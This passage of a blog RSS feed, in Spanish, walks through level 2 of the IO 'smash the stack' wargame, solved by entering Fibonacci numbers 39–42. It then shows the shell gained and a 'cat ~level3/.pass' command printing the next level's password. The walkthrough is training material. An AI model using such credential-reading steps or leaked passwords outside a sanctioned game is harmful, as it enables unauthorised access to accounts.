	<li><a href="http://systemadmin.es/2011/01/wargame-leviathan-nivel-7" onclick="pageTracker._trackEvent('relacionados','3109');" title="Wargame leviathan: nivel 7 (2/January/2011)">Wargame leviathan: nivel 7</a></li>
	<li><a href="http://systemadmin.es/2011/01/wargame-leviathan-nivel-6" onclick="pageTracker._trackEvent('relacionados','3108');" title="Wargame leviathan: nivel 6 (1/January/2011)">Wargame leviathan: nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/12/wargame-leviathan-nivel-5" onclick="pageTracker._trackEvent('relacionados','3107');" title="Wargame leviathan: nivel 5 (31/December/2010)">Wargame leviathan: nivel 5</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IO wargame (smash the stack) level 2</title>
		<link>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-2</link>
		<comments>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-2#comments</comments>
		<pubDate>Tue, 10 Aug 2010 07:17:12 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=2726</guid>
		<description><![CDATA[En este nivel se nos propone una adivinanza basado en conocimientos que todos habremos obtenido en la universidad. Vemos que al ejecutar el nivel nos dice lo siguiente: level2@io:/levels$ ./level02 Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, [...]]]></description>
			<content:encoded><![CDATA[<p>En este nivel se nos propone una adivinanza basado en conocimientos que todos habremos obtenido en la universidad.</p>
<p><!-- more --></p>
<p>Vemos que al ejecutar el nivel nos dice lo siguiente:</p>
<pre>
level2@io:/levels$ ./level02
Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21...
The 4th through the 7th numbers would give you 581321
</pre>
<p>Nos da esta secuencia:</p>
<pre>
1, 2, 3, 5, 8, 13, 21...
</pre>
<p>Con un ejemplo de lo que sería del 4 al 7:</p>
<pre>
581321
</pre>
<p>Y nos pide del 39 al 42. Primero deberemos saber que es la secuencia, si miramos los elementos del 4 al 7 vemos que es la secuencia de 5, 8, 13 y 21.</p>
<p>Tal como vemos en la secuencia inicial de ejemplo, cada elemento es la suma de los dos anteriores, siendo los dos iniciales dos unos. Se trata de la serie de Fibonacci.<br />
<div id="attachment_2790" class="wp-caption aligncenter" style="width: 232px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/fibonacci.jpg"><img src="http://systemadmin.es/wp-content/uploads/2010/08/fibonacci-222x300.jpg" alt="Leonardo Fibonacci" title="Leonardo Fibonacci" width="222" height="300" class="size-medium wp-image-2790" /></a><p class="wp-caption-text">Leonardo Fibonacci</p></div></p>
<p>Podríamos hacer un programa para calcular la posición N de la <strong>serie de Fibonacci</strong>, pero como eso ya lo ice en la universidad para la práctica de una amiga. Como no esta bien repetir las cosas, en su lugar podemos usar el <strong>OpenOffice</strong>:</p>
<div id="attachment_2782" class="wp-caption aligncenter" style="width: 126px"><a href="http://systemadmin.es/wp-content/uploads/2010/07/serie-fibonacci.png"><img src="http://systemadmin.es/wp-content/uploads/2010/07/serie-fibonacci-116x300.png" alt="Serie de Fibonacci" title="Serie de Fibonacci" width="116" height="300" class="size-medium wp-image-2782" /></a><p class="wp-caption-text">Serie de Fibonacci</p></div>
<p>Simplemente juntamos las posiciones que nos pide para obtener la <strong>shell</strong> del siguiente nivel:</p>
<pre>
level2@io:/levels$ ./level02 102334155165580141267914296433494437
Win.
sh-3.2$ cat ~level3/.pass
okviql9o
</pre>
<p>El listado de soluciones de otros niveles del <strong>wargame de IO de smash the stack</strong> es el siguiente:</p>
<ul>
<li><a href="/2010/08/io-wargame-smash-the-stack-level-1">level 1</a></li>
<li><strong>level 2</strong></li>
<li><a href="/2010/08/io-wargame-smash-the-stack-level-3">level 3</a></li>
<li><a href="/2010/07/io-wargame-smash-the-stack-level-4">level 4</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/seguridad" title="Seguridad" rel="tag">Seguridad</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-5" onclick="pageTracker._trackEvent('relacionados','2631');" title="Wargame narnia: Nivel 5 (4/June/2010)">Wargame narnia: Nivel 5</a></li>
	<li><a href="http://systemadmin.es/2010/05/wargame-narnia-niveles-1-y-2" onclick="pageTracker._trackEvent('relacionados','2541');" title="Wargame narnia (Niveles 1 y 2) (11/May/2010)">Wargame narnia (Niveles 1 y 2)</a></li>
	<li><a href="http://systemadmin.es/2011/01/wargame-leviathan-nivel-7" onclick="pageTracker._trackEvent('relacionados','3109');" title="Wargame leviathan: nivel 7 (2/January/2011)">Wargame leviathan: nivel 7</a></li>
	<li><a href="http://systemadmin.es/2011/01/wargame-leviathan-nivel-6" onclick="pageTracker._trackEvent('relacionados','3108');" title="Wargame leviathan: nivel 6 (1/January/2011)">Wargame leviathan: nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/12/wargame-leviathan-nivel-5" onclick="pageTracker._trackEvent('relacionados','3107');" title="Wargame leviathan: nivel 5 (31/December/2010)">Wargame leviathan: nivel 5</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

